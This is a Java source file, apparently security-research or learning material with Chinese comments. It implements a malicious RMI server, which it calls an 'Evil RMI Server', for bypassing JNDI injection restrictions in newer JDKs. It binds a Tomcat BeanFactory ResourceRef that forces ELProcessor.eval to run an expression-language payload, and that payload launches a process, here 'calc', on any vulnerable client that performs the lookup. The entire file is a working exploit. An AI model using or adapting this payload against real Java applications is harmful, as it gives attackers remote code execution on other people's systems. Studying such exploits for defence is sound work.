content: package factory.beanFactory;
  
  import com.sun.jndi.rmi.registry.ReferenceWrapper;
  import org.apache.naming.ResourceRef;
  
  import javax.naming.StringRefAddr;
  import java.rmi.registry.LocateRegistry;
  import java.rmi.registry.Registry;
  
  // JNDI 高版本 jdk 绕过服务端，用 bind 的方式
  public class JNDIBypassHighJavaServerEL {
      public static void main(String[] args) throws Exception {
          System.out.println("[*]Evil RMI Server is Listening on port: 1099");
          Registry registry = LocateRegistry.createRegistry(1099);
  
          // 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory
          ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
                  true,"org.apache.naming.factory.BeanFactory",null);
  
          // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
          ref.add(new StringRefAddr("forceString", "x=eval"));
  
          // 利用表达式执行命令
          ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
                  ".newInstance().getEngineByName(\"JavaScript\")" +
                  ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
          System.out.println("[*]Evil command: calc");
          ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
          registry.bind("Object", referenceWrapper);
  }
  }